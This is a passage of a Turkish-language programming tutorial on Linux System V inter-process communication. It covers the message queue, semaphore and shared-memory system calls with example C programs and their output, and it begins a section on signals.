Step 2 - Mesaj kuyruğuna yaz (msgsnd ())
Step 3 - Mesaj kuyruğundan okuyun (msgrcv ())
Step 4 - Mesaj kuyruğunda kontrol işlemlerini gerçekleştirin (msgctl ())
Şimdi, yukarıdaki çağrılarda söz dizimini ve belirli bilgileri kontrol edelim.
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
int msgget(key_t key, int msgflg)
Bu sistem çağrısı, bir System V mesaj kuyruğu oluşturur veya tahsis eder. Aşağıdaki argümanların aktarılması gerekiyor -
İlk argüman olan key, mesaj kuyruğunu tanır. Anahtar, keyfi bir değer veya ftok () kitaplık işlevinden türetilebilen bir değer olabilir.
İkinci argüman olan shmflg, IPC_CREAT (yoksa mesaj kuyruğu oluşturma) veya IPC_EXCL (mesaj kuyruğu oluşturmak için IPC_CREAT ile kullanılır ve mesaj kuyruğu zaten mevcutsa çağrı başarısız olur) gibi gerekli mesaj kuyruğu bayraklarını / larını belirtir. İzinleri de geçmeniz gerekiyor.
Note - İzinlerle ilgili ayrıntılar için önceki bölümlere bakın.
Bu çağrı, başarılı olduğunda geçerli bir mesaj kuyruğu tanımlayıcısı (mesaj kuyruğunun sonraki çağrıları için kullanılır) ve başarısızlık durumunda -1 döndürür. Başarısızlığın nedenini öğrenmek için, errno değişkeni veya perror () işlevi ile kontrol edin.
Bu çağrı ile ilgili çeşitli hatalar şunlardır: EACCESS (izin reddedildi), EEXIST (kuyruk zaten oluşturulamıyor), ENOENT (kuyruk mevcut değil), ENOMEM (kuyruğu oluşturmak için yeterli bellek yok) vb.
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
int msgsnd(int msgid, const void *msgp, size_t msgsz, int msgflg)
Bu sistem çağrısı, mesaj kuyruğuna (System V) bir mesaj gönderir / ekler. Aşağıdaki argümanların aktarılması gerekiyor -
İlk argüman, msgid, mesaj kuyruğunu, yani mesaj kuyruğu tanımlayıcısını tanır. Tanımlayıcı değeri, msgget () başarısı üzerine alınır.
İkinci argüman, msgp, aşağıdaki formun yapısında tanımlanan, arayana gönderilen mesajın işaretçisidir -
struct msgbuf {
long mtype;
char mtext[1];
};
Mtype değişkeni, msgrcv () çağrısında ayrıntılı olarak açıklanan farklı mesaj türleri ile iletişim kurmak için kullanılır. Mtext değişkeni, boyutu msgsz (pozitif değer) ile belirtilen bir dizi veya başka bir yapıdır. Mtext alanından bahsedilmezse, izin verilen sıfır boyutlu mesaj olarak kabul edilir.
Üçüncü argüman, msgsz, mesajın boyutudur (mesaj boş bir karakterle bitmelidir)
Dördüncü bağımsız değişken olan msgflg, IPC_NOWAIT gibi belirli bayrakları gösterir (kuyrukta herhangi bir ileti bulunmadığında hemen döner veya MSG_NOERROR (msgsz bayttan fazlaysa ileti metnini keser)
Bu çağrı, başarı durumunda 0 ve başarısızlık durumunda -1 döndürür. Başarısızlığın nedenini öğrenmek için, errno değişkeni veya perror () işlevi ile kontrol edin.
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
int msgrcv(int msgid, const void *msgp, size_t msgsz, long msgtype, int msgflg)
Bu sistem çağrısı mesajı mesaj kuyruğundan (System V) alır. Aşağıdaki argümanların aktarılması gerekiyor -
İlk argüman, msgid, mesaj kuyruğunu, yani mesaj kuyruğu tanımlayıcısını tanır. Tanımlayıcı değeri, msgget () başarısı üzerine alınır.
İkinci argüman olan msgp, arayan kişiden alınan mesajın göstericisidir. Aşağıdaki formun yapısında tanımlanmıştır -
struct msgbuf {
long mtype;
char mtext[1];
};
Mtype değişkeni, farklı mesaj türleri ile iletişim kurmak için kullanılır. Mtext değişkeni, boyutu msgsz (pozitif değer) ile belirtilen bir dizi veya başka bir yapıdır. Mtext alanından bahsedilmezse, izin verilen sıfır boyutlu mesaj olarak kabul edilir.
Üçüncü argüman, msgsz, alınan mesajın boyutudur (mesaj boş bir karakterle bitmelidir)
İlk bağımsız değişken, msgtype, mesajın türünü gösterir -
If msgtype is 0 - Kuyruktaki ilk alınan mesajı okur
If msgtype is +ve - msgtype türündeki kuyruktaki ilk iletiyi okur (msgtype 10 ise, diğer türler başlangıçta kuyrukta olsa bile yalnızca 10 türündeki ilk iletiyi okur)
If msgtype is –ve - Mesaj türünün mutlak değerinden küçük veya ona eşit en düşük türdeki ilk mesajı okur (örneğin, msgtype -5 ise, o zaman 5'ten küçük türdeki ilk mesajı okur, yani mesaj türü 1'den 5'e kadar)
Beşinci argüman, msgflg, IPC_NOWAIT gibi belirli bayrakları gösterir (kuyrukta herhangi bir mesaj bulunmadığında hemen döner veya MSG_NOERROR (msgsz bayttan fazlaysa mesaj metnini keser)
Bu çağrı, başarı durumunda mtext dizisinde gerçekte alınan bayt sayısını ve başarısızlık durumunda -1'i döndürür. Başarısızlığın nedenini öğrenmek için, errno değişkeni veya perror () işlevi ile kontrol edin.
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
int msgctl(int msgid, int cmd, struct msqid_ds *buf)
Bu sistem çağrısı, mesaj kuyruğunun (System V) kontrol işlemlerini gerçekleştirir. Aşağıdaki argümanların aktarılması gerekiyor -
İlk argüman, msgid, mesaj kuyruğunu, yani mesaj kuyruğu tanımlayıcısını tanır. Tanımlayıcı değeri, msgget () başarısı üzerine alınır.
İkinci bağımsız değişken olan cmd, mesaj kuyruğunda gerekli kontrol işlemini gerçekleştirme komutudur. Cmd için geçerli değerler -
IPC_STAT- msqid_ds yapısının her bir üyesinin mevcut değerlerinin bilgilerini tampon ile gösterilen iletilen yapıya kopyalar. Bu komut, mesaj kuyruğunda okuma izni gerektirir.
IPC_SET - Yapı buf tarafından gösterilen kullanıcı kimliğini, grup kimliğini, izinleri vb. Ayarlar.
IPC_RMID - Mesaj sırasını hemen kaldırır.
IPC_INFO - Buf ile gösterilen yapıdaki mesaj kuyruğu sınırları ve parametreleri hakkında bilgi verir, struct msginfo türü
MSG_INFO - Mesaj kuyruğu tarafından tüketilen sistem kaynakları hakkında bilgi içeren bir msginfo yapısı döndürür.
Üçüncü argüman olan buf, struct msqid_ds adlı ileti kuyruğu yapısına bir göstericidir. Bu yapının değerleri, cmd'ye göre set veya get için kullanılır.
Bu çağrı, geçirilen komuta bağlı olarak değeri döndürecektir. IPC_INFO ve MSG_INFO veya MSG_STAT'ın başarısı, mesaj kuyruğunun dizinini veya tanımlayıcısını veya diğer işlemler için 0'ı ve başarısızlık durumunda -1'i döndürür. Başarısızlığın nedenini öğrenmek için, errno değişkeni veya perror () işlevi ile kontrol edin.
Mesaj kuyruklarıyla ilgili temel bilgileri ve sistem çağrılarını gördükten sonra, şimdi bir programla kontrol etmenin zamanı geldi.
Programa bakmadan önce açıklamayı görelim -
Step 1 - Biri mesaj kuyruğuna göndermek için (msgq_send.c) ve diğeri mesaj kuyruğundan (msgq_recv.c) almak için olmak üzere iki işlem oluşturun
Step 2- ftok () işlevini kullanarak anahtarı oluşturma. Bunun için, benzersiz bir anahtar elde etmek için başlangıçta msgq.txt dosyası oluşturulur.
Step 3 - Gönderme işlemi aşağıdakileri gerçekleştirir.
Kullanıcıdan dize girdisini okur
Varsa yeni satırı kaldırır
Mesaj kuyruğuna gönderir
İşlemi girişin sonuna kadar tekrarlar (CTRL + D)
Girişin sonu alındığında, işlemin sonunu belirtmek için "son" mesajını gönderir
Step 4 - Alım sürecinde aşağıdakileri gerçekleştirir.
- Kuyruktaki mesajı okur
- Çıkışı görüntüler
- Alınan mesaj "bitti" ise, işlemi bitirir ve çıkar
Basitleştirmek için, bu örnek için mesaj türünü kullanmıyoruz. Ayrıca, bir işlem kuyruğa yazıyor ve başka bir işlem kuyruktan okuyor. Bu, gerektiğinde genişletilebilir, yani ideal olarak bir işlem kuyruğa yazabilir ve birden fazla işlem kuyruktan okunur.
Şimdi süreci kontrol edelim (sıraya mesaj gönderme) - Dosya: msgq_send.c
/* Filename: msgq_send.c */
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#define PERMS 0644
struct my_msgbuf {
long mtype;
char mtext[200];
};
int main(void) {
struct my_msgbuf buf;
int msqid;
int len;
key_t key;
system("touch msgq.txt");
if ((key = ftok("msgq.txt", 'B')) == -1) {
perror("ftok");
exit(1);
}
if ((msqid = msgget(key, PERMS | IPC_CREAT)) == -1) {
perror("msgget");
exit(1);
}
printf("message queue: ready to send messages.\n");
printf("Enter lines of text, ^D to quit:\n");
buf.mtype = 1; /* we don't really care in this case */
while(fgets(buf.mtext, sizeof buf.mtext, stdin) != NULL) {
len = strlen(buf.mtext);
/* remove newline at end, if it exists */
if (buf.mtext[len-1] == '\n') buf.mtext[len-1] = '\0';
if (msgsnd(msqid, &buf, len+1, 0) == -1) /* +1 for '\0' */
perror("msgsnd");
}
strcpy(buf.mtext, "end");
len = strlen(buf.mtext);
if (msgsnd(msqid, &buf, len+1, 0) == -1) /* +1 for '\0' */
perror("msgsnd");
if (msgctl(msqid, IPC_RMID, NULL) == -1) {
perror("msgctl");
exit(1);
}
printf("message queue: done sending messages.\n");
return 0;
}
Derleme ve Yürütme Adımları
message queue: ready to send messages.
Enter lines of text, ^D to quit:
this is line 1
this is line 2
message queue: done sending messages.
Mesaj alma sürecinden gelen kod aşağıdadır (kuyruktan mesaj alma) - Dosya: msgq_recv.c
/* Filename: msgq_recv.c */
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#define PERMS 0644
struct my_msgbuf {
long mtype;
char mtext[200];
};
int main(void) {
struct my_msgbuf buf;
int msqid;
int toend;
key_t key;
if ((key = ftok("msgq.txt", 'B')) == -1) {
perror("ftok");
exit(1);
}
if ((msqid = msgget(key, PERMS)) == -1) { /* connect to the queue */
perror("msgget");
exit(1);
}
printf("message queue: ready to receive messages.\n");
for(;;) { /* normally receiving never ends but just to make conclusion
/* this program ends wuth string of end */
if (msgrcv(msqid, &buf, sizeof(buf.mtext), 0, 0) == -1) {
perror("msgrcv");
exit(1);
}
printf("recvd: \"%s\"\n", buf.mtext);
toend = strcmp(buf.mtext,"end");
if (toend == 0)
break;
}
printf("message queue: done receiving messages.\n");
system("rm msgq.txt");
return 0;
}
Derleme ve Yürütme Adımları
message queue: ready to receive messages.
recvd: "this is line 1"
recvd: "this is line 2"
recvd: "end"
message queue: done receiving messages.
Akla gelen ilk soru, neden semaforlara ihtiyacımız var? Birden çok işlem arasında paylaşılan kritik / ortak bölgeyi korumak için basit bir cevap.
Diyelim ki, birden çok işlem aynı kod bölgesini kullanıyor ve hepsi paralel olarak erişmek istiyorsa, sonuç örtüşüyor. Örneğin, birden fazla kullanıcının yalnızca bir yazıcı (ortak / kritik bölüm) kullandığını varsayalım, örneğin 3 kullanıcıya aynı anda 3 iş verildiğinde, tüm işler paralel olarak başlarsa, bir kullanıcı çıktısı diğeriyle çakışır. Yani, semafor kullanarak bunu korumalıyız, yani, bir işlem çalışırken kritik bölümü kilitlemeli ve bittiğinde kilidi açmalıyız. Bu, her kullanıcı / işlem için tekrarlanarak bir işin başka bir işle çakışmaması sağlanır.
Temel olarak semaforlar iki türe ayrılır -
Binary Semaphores - Yalnızca iki durum 0 ve 1, yani kilitli / kilitsiz veya kullanılabilir / kullanılamaz, Mutex uygulaması.
Counting Semaphores - Keyfi kaynak sayımına izin veren semaforlara sayma semaforları denir.
5 yazıcımız olduğunu varsayalım (1 yazıcının yalnızca 1 işi kabul ettiğini varsayalım) ve yazdırılacak 3 işimiz var. Şimdi 3 yazıcıya 3 iş verilecek (her biri 1). Bu devam ederken yine 4 iş geldi. Şimdi, mevcut 2 yazıcıdan 2 iş planlandı ve bize 2 iş daha kaldı ve bu iş yalnızca kaynak / yazıcıdan biri kullanılabilir olduktan sonra tamamlanacak. Kaynak kullanılabilirliğine göre bu tür bir planlama semaforları sayma olarak görülebilir.
Semafor kullanarak senkronizasyon gerçekleştirmek için aşağıdaki adımlar verilmiştir -
Step 1 - Bir semafor oluşturun veya mevcut bir semafora bağlanın (semget ())
Step 2 - Semafor üzerinde işlemler gerçekleştirin, yani kaynakları ayırın veya serbest bırakın veya bekleyin (semop ())
Step 3 - Mesaj kuyruğunda (semctl ()) kontrol işlemlerini gerçekleştirin
Şimdi bunu sahip olduğumuz sistem çağrıları ile kontrol edelim.
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/sem.h>
int semget(key_t key, int nsems, int semflg)
Bu sistem çağrısı, bir System V semafor kümesi oluşturur veya tahsis eder. Aşağıdaki bağımsız değişkenlerin aktarılması gerekiyor -
İlk argüman olan key, mesaj kuyruğunu tanır. Anahtar, keyfi bir değer veya ftok () kitaplık işlevinden türetilebilen bir değer olabilir.
İkinci bağımsız değişken olan nsems semaforların sayısını belirtir. İkili ise 1 ise, 1 semafor kümesine ihtiyaç olduğunu gösterir, aksi halde semafor kümelerinin gerekli sayısına göre.
Üçüncü bağımsız değişken olan semflg, IPC_CREAT (yoksa semafor oluşturma) veya IPC_EXCL (semafor oluşturmak için IPC_CREAT ile kullanılır ve bir semafor zaten mevcutsa çağrı başarısız olur) gibi gerekli semafor bayraklarını / larını belirtir. İzinleri de geçmeniz gerekiyor.
Note - İzinlerle ilgili ayrıntılar için önceki bölümlere bakın.
Bu çağrı, başarılı olduğunda geçerli semafor tanımlayıcı (semafor çağrıları için kullanılır) ve başarısızlık durumunda -1 döndürür. Başarısızlığın nedenini öğrenmek için, errno değişkeni veya perror () işlevi ile kontrol edin.
Bu çağrı ile ilgili çeşitli hatalar şunlardır: EACCESS (izin reddedildi), EEXIST (kuyruk zaten oluşturulamıyor), ENOENT (kuyruk mevcut değil), ENOMEM (kuyruğu oluşturmak için yeterli bellek yok), ENOSPC (maksimum set sınırı aşıldı) vb.
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/sem.h>
int semop(int semid, struct sembuf *semops, size_t nsemops)
Bu sistem çağrısı, System V semafor kümelerindeki işlemleri gerçekleştirir, yani kaynakları tahsis eder, kaynakları bekler veya kaynakları serbest bırakır. Aşağıdaki argümanların aktarılması gerekiyor -
İlk argüman olan semid, semget () tarafından oluşturulan semafor kümesi tanımlayıcısını gösterir.
İkinci argüman olan semops, semafor kümesinde gerçekleştirilecek bir dizi işlemin göstericisidir. Yapı aşağıdaki gibidir -
struct sembuf {
unsigned short sem_num; /* Semaphore set num */
short sem_op; /* Semaphore operation */
short sem_flg; /* Operation flags, IPC_NOWAIT, SEM_UNDO */
};
Yukarıdaki yapıdaki sem_op öğesi, yapılması gereken işlemi gösterir -
Sem_op –ve ise, kaynakları ayırın veya edinin. Diğer işlemler tarafından yeterli kaynak serbest bırakılıncaya kadar çağırma işlemini engeller, böylece bu işlem tahsis edebilir.
Sem_op sıfır ise, çağıran işlem semafor değeri 0'a ulaşana kadar bekler veya uyur.
Sem_op + ve ise, kaynakları serbest bırakın.
Örneğin -
struct sembuf sem_lock = {0, -1, SEM_UNDO};
struct sembuf sem_unlock = {0, 1, SEM_UNDO};
Üçüncü argüman nsemops, o dizideki işlemlerin sayısıdır.
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/sem.h>
int semctl(int semid, int semnum, int cmd, …)
Bu sistem çağrısı, bir System V semaforu için kontrol işlemi gerçekleştirir. Aşağıdaki bağımsız değişkenlerin aktarılması gerekiyor -
İlk argüman olan semid, semaforun tanımlayıcısıdır. Bu id, semget () sistem çağrısının dönüş değeri olan semafor tanımlayıcısıdır.
İkinci argüman semnum, semafor sayısıdır. Semaforlar 0'dan numaralandırılır.
Üçüncü argüman, cmd, semafor üzerinde gerekli kontrol işlemini gerçekleştirme komutudur.
Union semun türündeki dördüncü argüman cmd'ye bağlıdır. Birkaç durum için dördüncü argüman geçerli değildir.
Union semun'u kontrol edelim -
union semun {
int val; /* val for SETVAL */
struct semid_ds *buf; /* Buffer for IPC_STAT and IPC_SET */
unsigned short *array; /* Buffer for GETALL and SETALL */
struct seminfo *__buf; /* Buffer for IPC_INFO and SEM_INFO*/
};
Sys / sem.h dosyasında tanımlanan semid_ds veri yapısı aşağıdaki gibidir -
struct semid_ds {
struct ipc_perm sem_perm; /* Permissions */
time_t sem_otime; /* Last semop time */
time_t sem_ctime; /* Last change time */
unsigned long sem_nsems; /* Number of semaphores in the set */
};
Note - Diğer veri yapıları için lütfen kılavuz sayfalarına bakın.
union semun arg; Cmd için geçerli değerler -
IPC_STAT- struct semid_ds öğesinin her bir üyesinin geçerli değerlerinin bilgilerini arg.buf ile gösterilen iletilen yapıya kopyalar. Bu komut, semafora okuma izni gerektirir.
IPC_SET - semid_ds yapısıyla gösterilen kullanıcı kimliğini, sahibin grup kimliğini, izinleri vb. Ayarlar.
IPC_RMID - Semafor kümesini kaldırır.
IPC_INFO - arg .__ buf ile gösterilen semid_ds yapısındaki semafor limitleri ve parametreleri hakkında bilgi verir.
SEM_INFO - Semafor tarafından tüketilen sistem kaynakları hakkında bilgi içeren bir seminfo yapısı döndürür.
Bu çağrı, geçirilen komuta bağlı olarak değer (negatif olmayan değer) döndürür. Başarı durumunda, IPC_INFO ve SEM_INFO veya SEM_STAT, Semafor'a göre kullanılan en yüksek girişin dizinini veya tanımlayıcısını veya GETNCNT için semncnt değerini veya GETPID için sempid değerini veya başarı ile ilgili diğer işlemler için GETVAL 0 için semval değerini döndürür ve - Arıza durumunda 1. Başarısızlığın nedenini öğrenmek için, errno değişkeni veya perror () işlevi ile kontrol edin.
Koda bakmadan önce, uygulamasını anlayalım -
Çocuk ve ebeveyn diyelim ki iki süreç oluşturun.
Temel olarak sayacı ve okuma / yazma işleminin sonunu paylaşılan belleğe belirtmek için diğer bayrakları saklamak için gereken paylaşılan belleği oluşturun.
Sayaç, hem üst hem de alt süreçler tarafından sayılarak artırılır. Sayı, bir komut satırı bağımsız değişkeni olarak iletilir veya varsayılan olarak alınır (komut satırı bağımsız değişkeni olarak iletilmezse veya değer 10000'den azsa). Hem ebeveynin hem de çocuğun aynı anda yani paralel olarak paylaşılan belleğe erişmesini sağlamak için belirli bir uyku süresi ile çağrılır.
Sayaç, hem ebeveyn hem de alt öğe tarafından 1'lik adımlarla artırıldığından, son değer, sayacın iki katı olmalıdır. İşlemleri aynı anda gerçekleştiren hem üst hem de alt süreçler olduğundan, sayaç gerektiği kadar artırılmaz. Bu nedenle, bir sürecin tamamlanmasını ve ardından başka bir sürecin tamamlanmasını sağlamalıyız.
Yukarıdaki uygulamaların tümü shm_write_cntr.c dosyasında gerçekleştirilir.
Sayaç değerinin shm_read_cntr.c dosyasında uygulanıp uygulanmadığını kontrol edin
Tamamlanmasını sağlamak için, semafor programı shm_write_cntr_with_sem.c dosyasında uygulanmaktadır. Tüm işlem tamamlandıktan sonra semaforu kaldırın (diğer programdan okuma yapıldıktan sonra)
Paylaşılan bellekte sayaç değerini okumak için ayrı dosyalarımız olduğundan ve yazma işleminin herhangi bir etkisi olmadığından, okuma programı aynı kalır (shm_read_cntr.c)
Yazma programını bir terminalde çalıştırmak ve programı başka bir terminalden okumak her zaman daha iyidir. Program, yalnızca yazma ve okuma işlemi tamamlandıktan sonra yürütmeyi tamamladığından, yazma programını tamamen çalıştırdıktan sonra programın çalıştırılması uygundur. Yazma programı, okuma programı çalıştırılana kadar bekler ve ancak tamamlandıktan sonra biter.
Semaforsuz programlar.
/* Filename: shm_write_cntr.c */
#include<stdio.h>
#include<sys/ipc.h>
#include<sys/shm.h>
#include<sys/types.h>
#include<string.h>
#include<errno.h>
#include<stdlib.h>
#include<unistd.h>
#include<string.h>
#define SHM_KEY 0x12345
struct shmseg {
int cntr;
int write_complete;
int read_complete;
};
void shared_memory_cntr_increment(int pid, struct shmseg *shmp, int total_count);
int main(int argc, char *argv[]) {
int shmid;
struct shmseg *shmp;
char *bufptr;
int total_count;
int sleep_time;
pid_t pid;
if (argc != 2)
total_count = 10000;
else {
total_count = atoi(argv[1]);
if (total_count < 10000)
total_count = 10000;
}
printf("Total Count is %d\n", total_count);
shmid = shmget(SHM_KEY, sizeof(struct shmseg), 0644|IPC_CREAT);
if (shmid == -1) {
perror("Shared memory");
return 1;
}
// Attach to the segment to get a pointer to it.
shmp = shmat(shmid, NULL, 0);
if (shmp == (void *) -1) {
perror("Shared memory attach");
return 1;
}
shmp->cntr = 0;
pid = fork();
/* Parent Process - Writing Once */
if (pid > 0) {
shared_memory_cntr_increment(pid, shmp, total_count);
} else if (pid == 0) {
shared_memory_cntr_increment(pid, shmp, total_count);
return 0;
} else {
perror("Fork Failure\n");
return 1;
}
while (shmp->read_complete != 1)
sleep(1);
if (shmdt(shmp) == -1) {
perror("shmdt");
return 1;
}
if (shmctl(shmid, IPC_RMID, 0) == -1) {
perror("shmctl");
return 1;
}
printf("Writing Process: Complete\n");
return 0;
}
/* Increment the counter of shared memory by total_count in steps of 1 */
void shared_memory_cntr_increment(int pid, struct shmseg *shmp, int total_count) {
int cntr;
int numtimes;
int sleep_time;
cntr = shmp->cntr;
shmp->write_complete = 0;
if (pid == 0)
printf("SHM_WRITE: CHILD: Now writing\n");
else if (pid > 0)
printf("SHM_WRITE: PARENT: Now writing\n");
//printf("SHM_CNTR is %d\n", shmp->cntr);
/* Increment the counter in shared memory by total_count in steps of 1 */
for (numtimes = 0; numtimes < total_count; numtimes++) {
cntr += 1;
shmp->cntr = cntr;
/* Sleeping for a second for every thousand */
sleep_time = cntr % 1000;
if (sleep_time == 0)
sleep(1);
}
shmp->write_complete = 1;
if (pid == 0)
printf("SHM_WRITE: CHILD: Writing Done\n");
else if (pid > 0)
printf("SHM_WRITE: PARENT: Writing Done\n");
return;
}
Derleme ve Yürütme Adımları
Total Count is 10000
SHM_WRITE: PARENT: Now writing
SHM_WRITE: CHILD: Now writing
SHM_WRITE: PARENT: Writing Done
SHM_WRITE: CHILD: Writing Done
Writing Process: Complete
Şimdi paylaşılan hafıza okuma programına bakalım.
/* Filename: shm_read_cntr.c */
#include<stdio.h>
#include<sys/ipc.h>
#include<sys/shm.h>
#include<sys/types.h>
#include<string.h>
#include<errno.h>
#include<stdlib.h>
#include<unistd.h>
#define SHM_KEY 0x12345
struct shmseg {
int cntr;
int write_complete;
int read_complete;
};
int main(int argc, char *argv[]) {
int shmid, numtimes;
struct shmseg *shmp;
int total_count;
int cntr;
int sleep_time;
if (argc != 2)
total_count = 10000;
else {
total_count = atoi(argv[1]);
if (total_count < 10000)
total_count = 10000;
}
shmid = shmget(SHM_KEY, sizeof(struct shmseg), 0644|IPC_CREAT);
if (shmid == -1) {
perror("Shared memory");
return 1;
}
// Attach to the segment to get a pointer to it.
shmp = shmat(shmid, NULL, 0);
if (shmp == (void *) -1) {
perror("Shared memory attach");
return 1;
}
/* Read the shared memory cntr and print it on standard output */
while (shmp->write_complete != 1) {
if (shmp->cntr == -1) {
perror("read");
return 1;
}
sleep(3);
}
printf("Reading Process: Shared Memory: Counter is %d\n", shmp->cntr);
printf("Reading Process: Reading Done, Detaching Shared Memory\n");
shmp->read_complete = 1;
if (shmdt(shmp) == -1) {
perror("shmdt");
return 1;
}
printf("Reading Process: Complete\n");
return 0;
}
Derleme ve Yürütme Adımları
Reading Process: Shared Memory: Counter is 11000
Reading Process: Reading Done, Detaching Shared Memory
Reading Process: Complete
Yukarıdaki çıktıyı gözlemlerseniz, sayaç 20000 olmalıdır, ancak bir işlem görevinin tamamlanmasından önce diğer süreç de paralel olarak işlediğinden, sayaç değeri beklendiği gibi değildir. Çıktı sistemden sisteme değişir ve ayrıca her yürütmede de değişir. İki işlemin bir görev tamamlandıktan sonra görevi gerçekleştirmesini sağlamak için, senkronizasyon mekanizmaları kullanılarak uygulanmalıdır.
Şimdi semafor kullanarak aynı uygulamayı kontrol edelim.
Note - Okuma programı aynı kalır.
/* Filename: shm_write_cntr_with_sem.c */
#include<stdio.h>
#include<sys/types.h>
#include<sys/ipc.h>
#include<sys/shm.h>
#include<sys/sem.h>
#include<string.h>
#include<errno.h>
#include<stdlib.h>
#include<unistd.h>
#include<string.h>
#define SHM_KEY 0x12345
#define SEM_KEY 0x54321
#define MAX_TRIES 20
struct shmseg {
int cntr;
int write_complete;
int read_complete;
};
void shared_memory_cntr_increment(int, struct shmseg*, int);
void remove_semaphore();
int main(int argc, char *argv[]) {
int shmid;
struct shmseg *shmp;
char *bufptr;
int total_count;
int sleep_time;
pid_t pid;
if (argc != 2)
total_count = 10000;
else {
total_count = atoi(argv[1]);
if (total_count < 10000)
total_count = 10000;
}
printf("Total Count is %d\n", total_count);
shmid = shmget(SHM_KEY, sizeof(struct shmseg), 0644|IPC_CREAT);
if (shmid == -1) {
perror("Shared memory");
return 1;
}
// Attach to the segment to get a pointer to it.
shmp = shmat(shmid, NULL, 0);
if (shmp == (void *) -1) {
perror("Shared memory attach: ");
return 1;
}
shmp->cntr = 0;
pid = fork();
/* Parent Process - Writing Once */
if (pid > 0) {
shared_memory_cntr_increment(pid, shmp, total_count);
} else if (pid == 0) {
shared_memory_cntr_increment(pid, shmp, total_count);
return 0;
} else {
perror("Fork Failure\n");
return 1;
}
while (shmp->read_complete != 1)
sleep(1);
if (shmdt(shmp) == -1) {
perror("shmdt");
return 1;
}
if (shmctl(shmid, IPC_RMID, 0) == -1) {
perror("shmctl");
return 1;
}
printf("Writing Process: Complete\n");
remove_semaphore();
return 0;
}
/* Increment the counter of shared memory by total_count in steps of 1 */
void shared_memory_cntr_increment(int pid, struct shmseg *shmp, int total_count) {
int cntr;
int numtimes;
int sleep_time;
int semid;
struct sembuf sem_buf;
struct semid_ds buf;
int tries;
int retval;
semid = semget(SEM_KEY, 1, IPC_CREAT | IPC_EXCL | 0666);
//printf("errno is %d and semid is %d\n", errno, semid);
/* Got the semaphore */
if (semid >= 0) {
printf("First Process\n");
sem_buf.sem_op = 1;
sem_buf.sem_flg = 0;
sem_buf.sem_num = 0;
retval = semop(semid, &sem_buf, 1);
if (retval == -1) {
perror("Semaphore Operation: ");
return;
}
} else if (errno == EEXIST) { // Already other process got it
int ready = 0;
printf("Second Process\n");
semid = semget(SEM_KEY, 1, 0);
if (semid < 0) {
perror("Semaphore GET: ");
return;
}
/* Waiting for the resource */
sem_buf.sem_num = 0;
sem_buf.sem_op = 0;
sem_buf.sem_flg = SEM_UNDO;
retval = semop(semid, &sem_buf, 1);
if (retval == -1) {
perror("Semaphore Locked: ");
return;
}
}
sem_buf.sem_num = 0;
sem_buf.sem_op = -1; /* Allocating the resources */
sem_buf.sem_flg = SEM_UNDO;
retval = semop(semid, &sem_buf, 1);
if (retval == -1) {
perror("Semaphore Locked: ");
return;
}
cntr = shmp->cntr;
shmp->write_complete = 0;
if (pid == 0)
printf("SHM_WRITE: CHILD: Now writing\n");
else if (pid > 0)
printf("SHM_WRITE: PARENT: Now writing\n");
//printf("SHM_CNTR is %d\n", shmp->cntr);
/* Increment the counter in shared memory by total_count in steps of 1 */
for (numtimes = 0; numtimes < total_count; numtimes++) {
cntr += 1;
shmp->cntr = cntr;
/* Sleeping for a second for every thousand */
sleep_time = cntr % 1000;
if (sleep_time == 0)
sleep(1);
}
shmp->write_complete = 1;
sem_buf.sem_op = 1; /* Releasing the resource */
retval = semop(semid, &sem_buf, 1);
if (retval == -1) {
perror("Semaphore Locked\n");
return;
}
if (pid == 0)
printf("SHM_WRITE: CHILD: Writing Done\n");
else if (pid > 0)
printf("SHM_WRITE: PARENT: Writing Done\n");
return;
}
void remove_semaphore() {
int semid;
int retval;
semid = semget(SEM_KEY, 1, 0);
if (semid < 0) {
perror("Remove Semaphore: Semaphore GET: ");
return;
}
retval = semctl(semid, 0, IPC_RMID);
if (retval == -1) {
perror("Remove Semaphore: Semaphore CTL: ");
return;
}
return;
}
Derleme ve Yürütme Adımları
Total Count is 10000
First Process
SHM_WRITE: PARENT: Now writing
Second Process
SHM_WRITE: PARENT: Writing Done
SHM_WRITE: CHILD: Now writing
SHM_WRITE: CHILD: Writing Done
Writing Process: Complete
Şimdi okuma işlemi ile sayaç değerini kontrol edeceğiz.
Yürütme Adımları
Reading Process: Shared Memory: Counter is 20000
Reading Process: Reading Done, Detaching Shared Memory
Reading Process: Complete
Bir signalbir olayın meydana geldiğini gösteren bir işleme bildirimdir. Signal aynı zamandasoftware interrupt ve oluşumunun bilinmesi öngörülemez, bu nedenle aynı zamanda asynchronous event.
Sinyal, bir numara veya adla belirtilebilir, genellikle sinyal adları SIG ile başlar. Kullanılabilir sinyaller, aşağıdaki gibi kill –l (Sinyal adlarını listelemek için l) komutuyla kontrol edilebilir -
Bir sinyal yükseldiğinde (programlı olarak veya sistem tarafından üretilen sinyal), varsayılan bir eylem gerçekleştirilir. Ya varsayılan eylemi gerçekleştirmek istemiyor, ancak sinyali alırken kendi eylemlerinizi gerçekleştirmek istiyorsanız? Bu tüm sinyaller için mümkün mü? Evet, sinyali işlemek mümkündür ancak tüm sinyaller için geçerli değildir. Ya sinyalleri görmezden gelmek istersen, bu mümkün mü? Evet, sinyali görmezden gelmek mümkündür. Sinyalin göz ardı edilmesi, ne varsayılan eylemi gerçekleştirme ne de sinyal işleme anlamına gelir. Hemen hemen tüm sinyalleri görmezden gelmek veya işlemek mümkündür. Göz ardı edilemeyen veya ele alınamayan / yakalanamayan sinyaller SIGSTOP ve SIGKILL'dir.
Özetle sinyaller için gerçekleştirilen eylemler aşağıdaki gibidir -
- Varsayılan aksiyon
- Sinyali yönetin
- Sinyali görmezden gelin
Tartışıldığı gibi sinyal, temerrüt eyleminin yürütülmesini değiştirerek ele alınabilir. Sinyal işleme iki yoldan biriyle, yani sistem çağrıları, signal () ve sigaction () yoluyla yapılabilir.
#include <signal.h>
typedef void (*sighandler_t) (int);
sighandler_t signal(int signum, sighandler_t handler);
